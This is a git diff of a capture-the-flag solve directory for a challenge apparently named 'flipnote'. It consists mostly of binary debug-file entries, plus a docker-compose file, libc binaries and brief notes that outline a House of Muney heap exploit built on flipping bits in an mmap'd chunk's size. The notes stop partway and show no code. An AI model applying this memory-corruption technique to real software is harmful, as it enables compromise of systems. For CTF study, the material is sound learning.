b/solve/debug/.build-id/7a/0f41cf04999e44ec3629ed086e4a8dc611243c.debug Binary files differ. diff --git a/solve/debug/.build-id/7a/8b3a8cddfcbf84049eb89d0a58a7c8878f3fc9.debug b/solve/debug/.build-id/7a/8b3a8cddfcbf84049eb89d0a58a7c8878f3fc9.debug Binary files differ. diff --git a/solve/debug/.build-id/7b/12f2861c8598b326a4141a09fae83fc21a3e97.debug b/solve/debug/.build-id/7b/12f2861c8598b326a4141a09fae83fc21a3e97.debug Binary files differ. diff --git a/solve/debug/.build-id/7b/785aded0a336bf2bbda9097e21135cf64c7336.debug b/solve/debug/.build-id/7b/785aded0a336bf2bbda9097e21135cf64c7336.debug Binary files differ. diff --git a/solve/debug/.build-id/7b/bb15dffdf9e5037effcb5d2e1a3a89dccbaadc.debug b/solve/debug/.build-id/7b/bb15dffdf9e5037effcb5d2e1a3a89dccbaadc.debug Binary files differ. diff --git a/solve/debug/.build-id/7b/e60d9e2f3d5463620af597fb0702095c7c79c6.debug b/solve/debug/.build-id/7b/e60d9e2f3d5463620af597fb0702095c7c79c6.debug Binary files differ. diff --git a/solve/debug/.build-id/7b/e781973c26a2105fc9f9403dbcb33a087a4a78.debug b/solve/debug/.build-id/7b/e781973c26a2105fc9f9403dbcb33a087a4a78.debug Binary files differ. diff --git a/solve/debug/.build-id/7e/ccd9917df6062cb7342c1140423b14227897ba.debug b/solve/debug/.build-id/7e/ccd9917df6062cb7342c1140423b14227897ba.debug Binary files differ. diff --git a/solve/debug/.build-id/7f/9266a1673ac854a8d16ede1e9f29e68492445b.debug b/solve/debug/.build-id/7f/9266a1673ac854a8d16ede1e9f29e68492445b.debug Binary files differ. diff --git a/solve/debug/.build-id/80/25209d6bac96af4f338b95ad3377ce79e85f4e.debug b/solve/debug/.build-id/80/25209d6bac96af4f338b95ad3377ce79e85f4e.debug Binary files differ. diff --git a/solve/debug/.build-id/80/34a341dbcad55bc967cba31eec82625f7d220c.debug b/solve/debug/.build-id/80/34a341dbcad55bc967cba31eec82625f7d220c.debug Binary files differ. diff --git a/solve/debug/.build-id/80/5205a29eca385a1f26158e1e56caa6f40ff7bc.debug b/solve/debug/.build-id/80/5205a29eca385a1f26158e1e56caa6f40ff7bc.debug Binary files differ. diff --git a/solve/debug/.build-id/81/32213a4e9a40d6ae998f3092a16e530675f09d.debug b/solve/debug/.build-id/81/32213a4e9a40d6ae998f3092a16e530675f09d.debug Binary files differ. diff --git a/solve/debug/.build-id/81/50f257ea669f0800101c3dc17145ae2e8ca5d4.debug b/solve/debug/.build-id/81/50f257ea669f0800101c3dc17145ae2e8ca5d4.debug Binary files differ. diff --git a/solve/debug/.build-id/82/6a98439a394457424f8ce64d5c0dd702363da2.debug b/solve/debug/.build-id/82/6a98439a394457424f8ce64d5c0dd702363da2.debug Binary files differ. diff --git a/solve/debug/.build-id/82/ea802ff94ed7209c5d8b882ec524042ce628f1.debug b/solve/debug/.build-id/82/ea802ff94ed7209c5d8b882ec524042ce628f1.debug Binary files differ. diff --git a/solve/debug/.build-id/83/8694650e23ecfd088dfaa81ffb957429797704.debug b/solve/debug/.build-id/83/8694650e23ecfd088dfaa81ffb957429797704.debug Binary files differ. diff --git a/solve/debug/.build-id/84/27bbe3eaa8edb985b937ed0f6165fbca1bb4e2.debug b/solve/debug/.build-id/84/27bbe3eaa8edb985b937ed0f6165fbca1bb4e2.debug Binary files differ. diff --git a/solve/debug/.build-id/84/9ac1b00cc720a05398a2f44cf24b81129671b3.debug b/solve/debug/.build-id/84/9ac1b00cc720a05398a2f44cf24b81129671b3.debug Binary files differ. diff --git a/solve/debug/.build-id/85/6d727d33d05f513eb60f245c9a16a48c643a97.debug b/solve/debug/.build-id/85/6d727d33d05f513eb60f245c9a16a48c643a97.debug Binary files differ. diff --git a/solve/debug/.build-id/86/38e0468cbf24d7b4c9f246fcd6f6796ce9e994.debug b/solve/debug/.build-id/86/38e0468cbf24d7b4c9f246fcd6f6796ce9e994.debug Binary files differ. diff --git a/solve/debug/.build-id/87/5519f6810eb2abcbaf72bfaf9938647090148f.debug b/solve/debug/.build-id/87/5519f6810eb2abcbaf72bfaf9938647090148f.debug Binary files differ. diff --git a/solve/debug/.build-id/87/fb3754989a30f8a47f33b41a4b829e8163606f.debug b/solve/debug/.build-id/87/fb3754989a30f8a47f33b41a4b829e8163606f.debug Binary files differ. diff --git a/solve/debug/.build-id/88/a79c9477ab30e78d6f28750527d90d8648ee20.debug b/solve/debug/.build-id/88/a79c9477ab30e78d6f28750527d90d8648ee20.debug Binary files differ. diff --git a/solve/debug/.build-id/89/ed6387bbf9160e85eae1e61beee45d11d8ea9c.debug b/solve/debug/.build-id/89/ed6387bbf9160e85eae1e61beee45d11d8ea9c.debug Binary files differ. diff --git a/solve/debug/.build-id/8a/3b85463643d593f488aab3aabf9dd861bb52cd.debug b/solve/debug/.build-id/8a/3b85463643d593f488aab3aabf9dd861bb52cd.debug Binary files differ. diff --git a/solve/debug/.build-id/8b/5076ec32efbb88f94afdc5e29a90b592cc92cf.debug b/solve/debug/.build-id/8b/5076ec32efbb88f94afdc5e29a90b592cc92cf.debug Binary files differ. diff --git a/solve/debug/.build-id/8c/0ff03bbed7df91dc075cb33935a633858a396d.debug b/solve/debug/.build-id/8c/0ff03bbed7df91dc075cb33935a633858a396d.debug Binary files differ. diff --git a/solve/debug/.build-id/8d/31dbbdaa1d55defb832d738adab22acfe5204d.debug b/solve/debug/.build-id/8d/31dbbdaa1d55defb832d738adab22acfe5204d.debug Binary files differ. diff --git a/solve/debug/.build-id/8d/871688ddfeaf65b664a0fca0516c2b09363c8b.debug b/solve/debug/.build-id/8d/871688ddfeaf65b664a0fca0516c2b09363c8b.debug Binary files differ. diff --git a/solve/debug/.build-id/8d/c7209494a4397460e02e46b7f51115e8e3008b.debug b/solve/debug/.build-id/8d/c7209494a4397460e02e46b7f51115e8e3008b.debug Binary files differ. diff --git a/solve/debug/.build-id/8f/1c9a715a4aa4bd86d524c2128d90b7db24aae8.debug b/solve/debug/.build-id/8f/1c9a715a4aa4bd86d524c2128d90b7db24aae8.debug Binary files differ. diff --git a/solve/debug/.build-id/8f/5270593c1433d2977ad895eaf55528cbd3eade.debug b/solve/debug/.build-id/8f/5270593c1433d2977ad895eaf55528cbd3eade.debug Binary files differ. diff --git a/solve/debug/.build-id/8f/5e68e3bce88573a8bc7e2ff6ef44f158578d2d.debug b/solve/debug/.build-id/8f/5e68e3bce88573a8bc7e2ff6ef44f158578d2d.debug Binary files differ. diff --git a/solve/debug/.build-id/8f/83e1b430a3165f9d6bd1a5196f8138e20bca7c.debug b/solve/debug/.build-id/8f/83e1b430a3165f9d6bd1a5196f8138e20bca7c.debug Binary files differ. diff --git a/solve/debug/.build-id/8f/8698a10d44f3762400e4f9f8ce0d428233b0df.debug b/solve/debug/.build-id/8f/8698a10d44f3762400e4f9f8ce0d428233b0df.debug Binary files differ. diff --git a/solve/debug/.build-id/8f/b2091b8dc0925543ec69612467c347e7375f3d.debug b/solve/debug/.build-id/8f/b2091b8dc0925543ec69612467c347e7375f3d.debug Binary files differ. diff --git a/solve/debug/.build-id/90/76af5396d08633c4111168e0fa2f5ad568491e.debug b/solve/debug/.build-id/90/76af5396d08633c4111168e0fa2f5ad568491e.debug Binary files differ. diff --git a/solve/debug/.build-id/92/bc781c503f80893a0afcce39bdea92190b48de.debug b/solve/debug/.build-id/92/bc781c503f80893a0afcce39bdea92190b48de.debug Binary files differ. diff --git a/solve/debug/.build-id/92/fb17490f84b1c808b554508744978be3d7e20d.debug b/solve/debug/.build-id/92/fb17490f84b1c808b554508744978be3d7e20d.debug Binary files differ. diff --git a/solve/debug/.build-id/94/1a92b115f8df7f2c2afe9ba510f3d0eeab3548.debug b/solve/debug/.build-id/94/1a92b115f8df7f2c2afe9ba510f3d0eeab3548.debug Binary files differ. diff --git a/solve/debug/.build-id/94/cb918902f749368fa4aebd52cc8e631bebdbf0.debug b/solve/debug/.build-id/94/cb918902f749368fa4aebd52cc8e631bebdbf0.debug Binary files differ. diff --git a/solve/debug/.build-id/96/b7bb34c8adc085266cf967de7fe65f3776426f.debug b/solve/debug/.build-id/96/b7bb34c8adc085266cf967de7fe65f3776426f.debug Binary files differ. diff --git a/solve/debug/.build-id/96/d2f3dfd242cc1a6891700335558a6fa2dd8c15.debug b/solve/debug/.build-id/96/d2f3dfd242cc1a6891700335558a6fa2dd8c15.debug Binary files differ. diff --git a/solve/debug/.build-id/97/6ef176c8ff88b8dea3c7a78ab6da5f16851aaf.debug b/solve/debug/.build-id/97/6ef176c8ff88b8dea3c7a78ab6da5f16851aaf.debug Binary files differ. diff --git a/solve/debug/.build-id/98/0533771fa921d23b8565e23f1073695dc4ae36.debug b/solve/debug/.build-id/98/0533771fa921d23b8565e23f1073695dc4ae36.debug Binary files differ. diff --git a/solve/debug/.build-id/98/33d240aeada0837854783457981840d7512f86.debug b/solve/debug/.build-id/98/33d240aeada0837854783457981840d7512f86.debug Binary files differ. diff --git a/solve/debug/.build-id/99/dfe2961610a3051f88ff491cb89b1fa2625e09.debug b/solve/debug/.build-id/99/dfe2961610a3051f88ff491cb89b1fa2625e09.debug Binary files differ. diff --git a/solve/debug/.build-id/9b/d7acf4d37ff87007e70886ff1fac1adc57218b.debug b/solve/debug/.build-id/9b/d7acf4d37ff87007e70886ff1fac1adc57218b.debug Binary files differ. diff --git a/solve/debug/.build-id/9c/258688c96096f14c046834c0f035a05db4796a.debug b/solve/debug/.build-id/9c/258688c96096f14c046834c0f035a05db4796a.debug Binary files differ. diff --git a/solve/debug/.build-id/9d/14fd4d2e6ffea2ba161fab89da656f8eb6197f.debug b/solve/debug/.build-id/9d/14fd4d2e6ffea2ba161fab89da656f8eb6197f.debug Binary files differ. diff --git a/solve/debug/.build-id/9d/9691863f47abc116bbb2ee40fd3f353b2d53a8.debug b/solve/debug/.build-id/9d/9691863f47abc116bbb2ee40fd3f353b2d53a8.debug Binary files differ. diff --git a/solve/debug/.build-id/9f/0700e3ff333539d88dd5d79478564303029705.debug b/solve/debug/.build-id/9f/0700e3ff333539d88dd5d79478564303029705.debug Binary files differ. diff --git a/solve/debug/.build-id/9f/181b5ab9869e4e561f821f25c6cf635164fd4f.debug b/solve/debug/.build-id/9f/181b5ab9869e4e561f821f25c6cf635164fd4f.debug Binary files differ. diff --git a/solve/debug/.build-id/a0/8a91a1ee6f544af9a7bc40d0d80a6356065d4c.debug b/solve/debug/.build-id/a0/8a91a1ee6f544af9a7bc40d0d80a6356065d4c.debug Binary files differ. diff --git a/solve/debug/.build-id/a2/e1989609f89d23fb74820208ff33c721710714.debug b/solve/debug/.build-id/a2/e1989609f89d23fb74820208ff33c721710714.debug Binary files differ. diff --git a/solve/debug/.build-id/a3/339397921a9e1099e36f3706a12e53abfc66cf.debug b/solve/debug/.build-id/a3/339397921a9e1099e36f3706a12e53abfc66cf.debug Binary files differ. diff --git a/solve/debug/.build-id/a3/498e5a80f2d599128e6f7c83bb1b8a02cc9eb3.debug b/solve/debug/.build-id/a3/498e5a80f2d599128e6f7c83bb1b8a02cc9eb3.debug Binary files differ. diff --git a/solve/debug/.build-id/a3/98bd7dbd7ad142839fd6950377564aa6f3171d.debug b/solve/debug/.build-id/a3/98bd7dbd7ad142839fd6950377564aa6f3171d.debug Binary files differ. diff --git a/solve/debug/.build-id/a3/be160a659136c2023d1b56d7b3e4ce0d96f3b8.debug b/solve/debug/.build-id/a3/be160a659136c2023d1b56d7b3e4ce0d96f3b8.debug Binary files differ. diff --git a/solve/debug/.build-id/a3/cf0c2e8c30b3101638fb2b8bde9f0e1ee168d3.debug b/solve/debug/.build-id/a3/cf0c2e8c30b3101638fb2b8bde9f0e1ee168d3.debug Binary files differ. diff --git a/solve/debug/.build-id/a3/d9341475b1787ff9af86a47c15d822035999a0.debug b/solve/debug/.build-id/a3/d9341475b1787ff9af86a47c15d822035999a0.debug Binary files differ. diff --git a/solve/debug/.build-id/a4/86d71fdae7a887ff154e19c5db12182550c9d4.debug b/solve/debug/.build-id/a4/86d71fdae7a887ff154e19c5db12182550c9d4.debug Binary files differ. diff --git a/solve/debug/.build-id/a6/34b2a407ba95fda297c4eb308c607b48bdde7a.debug b/solve/debug/.build-id/a6/34b2a407ba95fda297c4eb308c607b48bdde7a.debug Binary files differ. diff --git a/solve/debug/.build-id/a6/9a38452eac82960ddeddcad08a65fd610ecb43.debug b/solve/debug/.build-id/a6/9a38452eac82960ddeddcad08a65fd610ecb43.debug Binary files differ. diff --git a/solve/debug/.build-id/a8/8ef0199bd5e742ebd0c359edf5cb2be0ec08b5.debug b/solve/debug/.build-id/a8/8ef0199bd5e742ebd0c359edf5cb2be0ec08b5.debug Binary files differ. diff --git a/solve/debug/.build-id/a8/c15251952e1a422ad8f74a73a117c53ecf1427.debug b/solve/debug/.build-id/a8/c15251952e1a422ad8f74a73a117c53ecf1427.debug Binary files differ. diff --git a/solve/debug/.build-id/aa/2bd626cff16b9e987bdc222dc6c2ec5426a59a.debug b/solve/debug/.build-id/aa/2bd626cff16b9e987bdc222dc6c2ec5426a59a.debug Binary files differ. diff --git a/solve/debug/.build-id/ab/2941fc43c898d3cc0aa03226791414270d493f.debug b/solve/debug/.build-id/ab/2941fc43c898d3cc0aa03226791414270d493f.debug Binary files differ. diff --git a/solve/debug/.build-id/ab/eb8e2a00cb6ce3c0406e2910883b8faffc4720.debug b/solve/debug/.build-id/ab/eb8e2a00cb6ce3c0406e2910883b8faffc4720.debug Binary files differ. diff --git a/solve/debug/.build-id/af/9146fb381bc26e1e8316301e6556874ef6aacd.debug b/solve/debug/.build-id/af/9146fb381bc26e1e8316301e6556874ef6aacd.debug Binary files differ. diff --git a/solve/debug/.build-id/af/cd81c45805b07c282f1cf7df67f3303dc30a9c.debug b/solve/debug/.build-id/af/cd81c45805b07c282f1cf7df67f3303dc30a9c.debug Binary files differ. diff --git a/solve/debug/.build-id/b3/22857f7cce644ff4a4d9357673495e57c6508f.debug b/solve/debug/.build-id/b3/22857f7cce644ff4a4d9357673495e57c6508f.debug Binary files differ. diff --git a/solve/debug/.build-id/b3/e1197151971a44419ecd8f4d79ca663f7e8a0a.debug b/solve/debug/.build-id/b3/e1197151971a44419ecd8f4d79ca663f7e8a0a.debug Binary files differ. diff --git a/solve/debug/.build-id/b4/94e1545a9a601f49f70b636e48de27e4420e0a.debug b/solve/debug/.build-id/b4/94e1545a9a601f49f70b636e48de27e4420e0a.debug Binary files differ. diff --git a/solve/debug/.build-id/b7/6006a1a534e9b933697347964490de1bc257c7.debug b/solve/debug/.build-id/b7/6006a1a534e9b933697347964490de1bc257c7.debug Binary files differ. diff --git a/solve/debug/.build-id/b9/024a7ea7eba6edad496c25790d6d066110637b.debug b/solve/debug/.build-id/b9/024a7ea7eba6edad496c25790d6d066110637b.debug Binary files differ. diff --git a/solve/debug/.build-id/b9/18204b4f6881892ad64ffc245b8e8827929976.debug b/solve/debug/.build-id/b9/18204b4f6881892ad64ffc245b8e8827929976.debug Binary files differ. diff --git a/solve/debug/.build-id/bb/2d20d099a953206585434538f4a76766956f54.debug b/solve/debug/.build-id/bb/2d20d099a953206585434538f4a76766956f54.debug Binary files differ. diff --git a/solve/debug/.build-id/be/bbbf1b1b5a616127912869097a165b86661f67.debug b/solve/debug/.build-id/be/bbbf1b1b5a616127912869097a165b86661f67.debug Binary files differ. diff --git a/solve/debug/.build-id/be/bfb0194b46e89065a64d4b7e119969940f3129.debug b/solve/debug/.build-id/be/bfb0194b46e89065a64d4b7e119969940f3129.debug Binary files differ. diff --git a/solve/debug/.build-id/c2/89da5071a3399de893d2af81d6a30c62646e1e.debug b/solve/debug/.build-id/c2/89da5071a3399de893d2af81d6a30c62646e1e.debug Binary files differ. diff --git a/solve/debug/.build-id/c2/dd7dedba2e4f7d0e291b3d5b3ead21d39d06a0.debug b/solve/debug/.build-id/c2/dd7dedba2e4f7d0e291b3d5b3ead21d39d06a0.debug Binary files differ. diff --git a/solve/debug/.build-id/c2/ebf9856fb60612b5e4d6c8274c3561a972ebca.debug b/solve/debug/.build-id/c2/ebf9856fb60612b5e4d6c8274c3561a972ebca.debug Binary files differ. diff --git a/solve/debug/.build-id/c3/02fc9e54947b84d12908b63664704ec282f91e.debug b/solve/debug/.build-id/c3/02fc9e54947b84d12908b63664704ec282f91e.debug Binary files differ. diff --git a/solve/debug/.build-id/c3/defb2fa66a5d7423fef2649382850cc00e0cec.debug b/solve/debug/.build-id/c3/defb2fa66a5d7423fef2649382850cc00e0cec.debug Binary files differ. diff --git a/solve/debug/.build-id/c4/902cffbe4a8bc931a8bdebaf65617cae386045.debug b/solve/debug/.build-id/c4/902cffbe4a8bc931a8bdebaf65617cae386045.debug Binary files differ. diff --git a/solve/debug/.build-id/c5/73934461956649de9bfa57ea368bdfec09081c.debug b/solve/debug/.build-id/c5/73934461956649de9bfa57ea368bdfec09081c.debug Binary files differ. diff --git a/solve/debug/.build-id/c6/8e76f2f2fe1e1004d0d19d2cf20f5c3b71bc4e.debug b/solve/debug/.build-id/c6/8e76f2f2fe1e1004d0d19d2cf20f5c3b71bc4e.debug Binary files differ. diff --git a/solve/debug/.build-id/c8/03a3e08f1d6aca2241109e70183a3eb0c25701.debug b/solve/debug/.build-id/c8/03a3e08f1d6aca2241109e70183a3eb0c25701.debug Binary files differ. diff --git a/solve/debug/.build-id/c8/f6d8b44e850a53185fe5a47141286fe556fb68.debug b/solve/debug/.build-id/c8/f6d8b44e850a53185fe5a47141286fe556fb68.debug Binary files differ. diff --git a/solve/debug/.build-id/ca/b1aeb00c8206164610347d9ebff1d944de9f27.debug b/solve/debug/.build-id/ca/b1aeb00c8206164610347d9ebff1d944de9f27.debug Binary files differ. diff --git a/solve/debug/.build-id/cb/f0e62e6fe997a3027314aff779533a4231be56.debug b/solve/debug/.build-id/cb/f0e62e6fe997a3027314aff779533a4231be56.debug Binary files differ. diff --git a/solve/debug/.build-id/cc/26c0258b14008f18b0364da4a36fd0215fabe6.debug b/solve/debug/.build-id/cc/26c0258b14008f18b0364da4a36fd0215fabe6.debug Binary files differ. diff --git a/solve/debug/.build-id/cc/dff7913b6b7ac543c3fdeee9344893c1c89d42.debug b/solve/debug/.build-id/cc/dff7913b6b7ac543c3fdeee9344893c1c89d42.debug Binary files differ. diff --git a/solve/debug/.build-id/cd/539c84392fb4548eb8543c5c6ce17544375cbb.debug b/solve/debug/.build-id/cd/539c84392fb4548eb8543c5c6ce17544375cbb.debug Binary files differ. diff --git a/solve/debug/.build-id/cd/6e3417041e1c9670bb87a556426f5295498ece.debug b/solve/debug/.build-id/cd/6e3417041e1c9670bb87a556426f5295498ece.debug Binary files differ. diff --git a/solve/debug/.build-id/cd/91cae9540de0789dfafde5ee711212151568ab.debug b/solve/debug/.build-id/cd/91cae9540de0789dfafde5ee711212151568ab.debug Binary files differ. diff --git a/solve/debug/.build-id/cf/16cf82062a35b1f10e0f716267930530bc7f8f.debug b/solve/debug/.build-id/cf/16cf82062a35b1f10e0f716267930530bc7f8f.debug Binary files differ. diff --git a/solve/debug/.build-id/d1/1bfb77014594f50dd7edbf1eaaffc29316a6cf.debug b/solve/debug/.build-id/d1/1bfb77014594f50dd7edbf1eaaffc29316a6cf.debug Binary files differ. diff --git a/solve/debug/.build-id/d2/073fd409c991f888dd80dd637e3119b4d0e631.debug b/solve/debug/.build-id/d2/073fd409c991f888dd80dd637e3119b4d0e631.debug Binary files differ. diff --git a/solve/debug/.build-id/d3/3d26d44de771bf6fad63c7e58ec2b0a1010e88.debug b/solve/debug/.build-id/d3/3d26d44de771bf6fad63c7e58ec2b0a1010e88.debug Binary files differ. diff --git a/solve/debug/.build-id/d4/682741e11029bb9c6b72ddbef7c399666b40fd.debug b/solve/debug/.build-id/d4/682741e11029bb9c6b72ddbef7c399666b40fd.debug Binary files differ. diff --git a/solve/debug/.build-id/d5/c31f55315390874cf61140e284605b17c9bade.debug b/solve/debug/.build-id/d5/c31f55315390874cf61140e284605b17c9bade.debug Binary files differ. diff --git a/solve/debug/.build-id/d6/80b626cfe7bc4f3c8597a63cb28b77c6df4afa.debug b/solve/debug/.build-id/d6/80b626cfe7bc4f3c8597a63cb28b77c6df4afa.debug Binary files differ. diff --git a/solve/debug/.build-id/d8/fd9361d9d578cb6732f0d9a590d210c93a4fe8.debug b/solve/debug/.build-id/d8/fd9361d9d578cb6732f0d9a590d210c93a4fe8.debug Binary files differ. diff --git a/solve/debug/.build-id/da/67d5ac15300f1a2f27ab8c9cd574a832b76617.debug b/solve/debug/.build-id/da/67d5ac15300f1a2f27ab8c9cd574a832b76617.debug Binary files differ. diff --git a/solve/debug/.build-id/da/9beab9bb4b10a1b4390dcf83b263dea7fb2f6c.debug b/solve/debug/.build-id/da/9beab9bb4b10a1b4390dcf83b263dea7fb2f6c.debug Binary files differ. diff --git a/solve/debug/.build-id/db/bc7afefd8a285d61d92057e5fec4273d10bf39.debug b/solve/debug/.build-id/db/bc7afefd8a285d61d92057e5fec4273d10bf39.debug Binary files differ. diff --git a/solve/debug/.build-id/dc/d2c7561c59c418da30aa56015adf096a1cb1b3.debug b/solve/debug/.build-id/dc/d2c7561c59c418da30aa56015adf096a1cb1b3.debug Binary files differ. diff --git a/solve/debug/.build-id/de/f09a9f475ba133737ecd652d9374800b177785.debug b/solve/debug/.build-id/de/f09a9f475ba133737ecd652d9374800b177785.debug Binary files differ. diff --git a/solve/debug/.build-id/e0/705d81aaa22a583a01e7d5ab7d61bb27422c01.debug b/solve/debug/.build-id/e0/705d81aaa22a583a01e7d5ab7d61bb27422c01.debug Binary files differ. diff --git a/solve/debug/.build-id/e1/603cbe3f843f112a36515c1f8c55b335862628.debug b/solve/debug/.build-id/e1/603cbe3f843f112a36515c1f8c55b335862628.debug Binary files differ. diff --git a/solve/debug/.build-id/e1/7760464e50d3b23e9b79553c8b07fcac9295c4.debug b/solve/debug/.build-id/e1/7760464e50d3b23e9b79553c8b07fcac9295c4.debug Binary files differ. diff --git a/solve/debug/.build-id/e1/8e07afd68783a8983c1c0c41d48e18b15c4467.debug b/solve/debug/.build-id/e1/8e07afd68783a8983c1c0c41d48e18b15c4467.debug Binary files differ. diff --git a/solve/debug/.build-id/e1/e57a1ed6f78192a5fe07fbb9dabfc381576ef6.debug b/solve/debug/.build-id/e1/e57a1ed6f78192a5fe07fbb9dabfc381576ef6.debug Binary files differ. diff --git a/solve/debug/.build-id/e2/1bbc14d37aab0946404c58769fdb55b1b5c257.debug b/solve/debug/.build-id/e2/1bbc14d37aab0946404c58769fdb55b1b5c257.debug Binary files differ. diff --git a/solve/debug/.build-id/e2/d6115fc286785bf5155845afd75c2b5a24cc9d.debug b/solve/debug/.build-id/e2/d6115fc286785bf5155845afd75c2b5a24cc9d.debug Binary files differ. diff --git a/solve/debug/.build-id/e4/3942bedb75c58bdaa8c4b5c08fe1c1ddb97ed0.debug b/solve/debug/.build-id/e4/3942bedb75c58bdaa8c4b5c08fe1c1ddb97ed0.debug Binary files differ. diff --git a/solve/debug/.build-id/e5/73b323ebf972c0f60be3e5c002781f3c5d5fef.debug b/solve/debug/.build-id/e5/73b323ebf972c0f60be3e5c002781f3c5d5fef.debug Binary files differ. diff --git a/solve/debug/.build-id/e9/64d6142b8b31ff73068a06747d90c4260b5a39.debug b/solve/debug/.build-id/e9/64d6142b8b31ff73068a06747d90c4260b5a39.debug Binary files differ. diff --git a/solve/debug/.build-id/ea/7cf9cea9690c74e006e53b8c86799cc52670e4.debug b/solve/debug/.build-id/ea/7cf9cea9690c74e006e53b8c86799cc52670e4.debug Binary files differ. diff --git a/solve/debug/.build-id/eb/154283bf56402372682d1a235ca6734002a50f.debug b/solve/debug/.build-id/eb/154283bf56402372682d1a235ca6734002a50f.debug Binary files differ. diff --git a/solve/debug/.build-id/ec/0a13303791d35f54237a07d18eb90dabe2ebc2.debug b/solve/debug/.build-id/ec/0a13303791d35f54237a07d18eb90dabe2ebc2.debug Binary files differ. diff --git a/solve/debug/.build-id/ed/35de08a7430467b3b58a7b0d3a136b910fb05b.debug b/solve/debug/.build-id/ed/35de08a7430467b3b58a7b0d3a136b910fb05b.debug Binary files differ. diff --git a/solve/debug/.build-id/ee/3790a0785c69509bb9de96d6d3ec27ab027ffe.debug b/solve/debug/.build-id/ee/3790a0785c69509bb9de96d6d3ec27ab027ffe.debug Binary files differ. diff --git a/solve/debug/.build-id/ee/997ca7dcd1ee87c94f9b95bc9d37b637f7061c.debug b/solve/debug/.build-id/ee/997ca7dcd1ee87c94f9b95bc9d37b637f7061c.debug Binary files differ. diff --git a/solve/debug/.build-id/ee/eccc4336a2d829bb5370245765b4495396e558.debug b/solve/debug/.build-id/ee/eccc4336a2d829bb5370245765b4495396e558.debug Binary files differ. diff --git a/solve/debug/.build-id/ef/c3c59353f46ad5a4d957d84013dbd1c0800b1e.debug b/solve/debug/.build-id/ef/c3c59353f46ad5a4d957d84013dbd1c0800b1e.debug Binary files differ. diff --git a/solve/debug/.build-id/ef/d8404d2d079a8e4a65420fcaff63a21f0572e9.debug b/solve/debug/.build-id/ef/d8404d2d079a8e4a65420fcaff63a21f0572e9.debug Binary files differ. diff --git a/solve/debug/.build-id/f0/14b3e1a9637d6be580f9fdcfbaa20d0211990d.debug b/solve/debug/.build-id/f0/14b3e1a9637d6be580f9fdcfbaa20d0211990d.debug Binary files differ. diff --git a/solve/debug/.build-id/f0/f33899656312250aef4df67bff8594cb951c62.debug b/solve/debug/.build-id/f0/f33899656312250aef4df67bff8594cb951c62.debug Binary files differ. diff --git a/solve/debug/.build-id/f2/68a4b27d2d79fe6045e276e9f63557b6dceac9.debug b/solve/debug/.build-id/f2/68a4b27d2d79fe6045e276e9f63557b6dceac9.debug Binary files differ. diff --git a/solve/debug/.build-id/f5/ed8cce3040cd840db8c4516bcb75bd8aa2272a.debug b/solve/debug/.build-id/f5/ed8cce3040cd840db8c4516bcb75bd8aa2272a.debug Binary files differ. diff --git a/solve/debug/.build-id/f6/5e71c1dae5150ca5973ed666eea738e6fbd23a.debug b/solve/debug/.build-id/f6/5e71c1dae5150ca5973ed666eea738e6fbd23a.debug Binary files differ. diff --git a/solve/debug/.build-id/f6/bc0997c148071094f5501fdf476b20e45dc6c1.debug b/solve/debug/.build-id/f6/bc0997c148071094f5501fdf476b20e45dc6c1.debug Binary files differ. diff --git a/solve/debug/.build-id/f6/f7e77e52c92aabf3c6db4c64563d168619d978.debug b/solve/debug/.build-id/f6/f7e77e52c92aabf3c6db4c64563d168619d978.debug Binary files differ. diff --git a/solve/debug/.build-id/f8/39be03cedfa54a02c697de707339b007c5185e.debug b/solve/debug/.build-id/f8/39be03cedfa54a02c697de707339b007c5185e.debug Binary files differ. diff --git a/solve/debug/.build-id/f8/895a95e174be2fd3f783381cab089aab510010.debug b/solve/debug/.build-id/f8/895a95e174be2fd3f783381cab089aab510010.debug Binary files differ. diff --git a/solve/debug/.build-id/f8/d6e05684612a03b0ca50e7cf7e593b81a5deb1.debug b/solve/debug/.build-id/f8/d6e05684612a03b0ca50e7cf7e593b81a5deb1.debug Binary files differ. diff --git a/solve/debug/.build-id/f9/00100b924e213b9ce4be5bd01ba1d55e1f05d9.debug b/solve/debug/.build-id/f9/00100b924e213b9ce4be5bd01ba1d55e1f05d9.debug Binary files differ. diff --git a/solve/debug/.build-id/f9/412d2484f7a18895b2b161f9186f3e5e28768d.debug b/solve/debug/.build-id/f9/412d2484f7a18895b2b161f9186f3e5e28768d.debug Binary files differ. diff --git a/solve/debug/.build-id/f9/75d01d8d152bbe0d1e79a902776fbee2ebadcd.debug b/solve/debug/.build-id/f9/75d01d8d152bbe0d1e79a902776fbee2ebadcd.debug Binary files differ. diff --git a/solve/debug/.build-id/fa/ddf4be62b0dc046c3b69e79f688525d055fb15.debug b/solve/debug/.build-id/fa/ddf4be62b0dc046c3b69e79f688525d055fb15.debug Binary files differ. diff --git a/solve/debug/.build-id/fc/e05721216896037d272e5b3d9a65a8df93bce0.debug b/solve/debug/.build-id/fc/e05721216896037d272e5b3d9a65a8df93bce0.debug Binary files differ. diff --git a/solve/debug/.build-id/fd/344a5c437dae3195717ef23a5fd39829e8b16e.debug b/solve/debug/.build-id/fd/344a5c437dae3195717ef23a5fd39829e8b16e.debug Binary files differ. diff --git a/solve/debug/.build-id/fe/8f91144565628b6b3bb5967e7a41e4d5e4f101.debug b/solve/debug/.build-id/fe/8f91144565628b6b3bb5967e7a41e4d5e4f101.debug Binary files differ. diff --git a/solve/debug/.build-id/fe/ca1a24889ea0b8e9d7c72e28766c14e189a2cf.debug b/solve/debug/.build-id/fe/ca1a24889ea0b8e9d7c72e28766c14e189a2cf.debug Binary files differ. diff --git a/solve/docker-compose.yml b/solve/docker-compose.yml @@ -0,0 +1,8 @@ +services: + flipnote: + build: + context: . + ports: + - "1024:1024" + - "1025:1025" + diff --git a/solve/ld-linux-x86-64.so.2 b/solve/ld-linux-x86-64.so.2 Binary files differ. diff --git a/solve/libc.so.6 b/solve/libc.so.6 Binary files differ. diff --git a/solve/libc6-dbg_2.35-0ubuntu3.6_amd64.deb b/solve/libc6-dbg_2.35-0ubuntu3.6_amd64.deb Binary files differ. diff --git a/solve/notes b/solve/notes @@ -0,0 +1,68 @@ +Download ubuntu package using link: +https://launchpad.net/ubuntu/jammy/amd64/libc6-dbg/2.35-0ubuntu3.6 + +reuse this link and replace package name to get direct download links.. archive only shows latest patch version for reasons(tm). + +House of muney exploit: +- allocate mmap'd heap chunk by making size larger than mmap_threshold + +allocated chunk has size 0x3d000, so we flip two bits to 0x5d000 (pew, pew) +that gives us 0x40000 to libc base and 0x1d000 into the libc address space +which is perfect for House of Muney exploit (after dynsym end, before plt etc) + +there is a heap chunk mapped by libc for thread-local variables between +our chunk and the start of libc.. 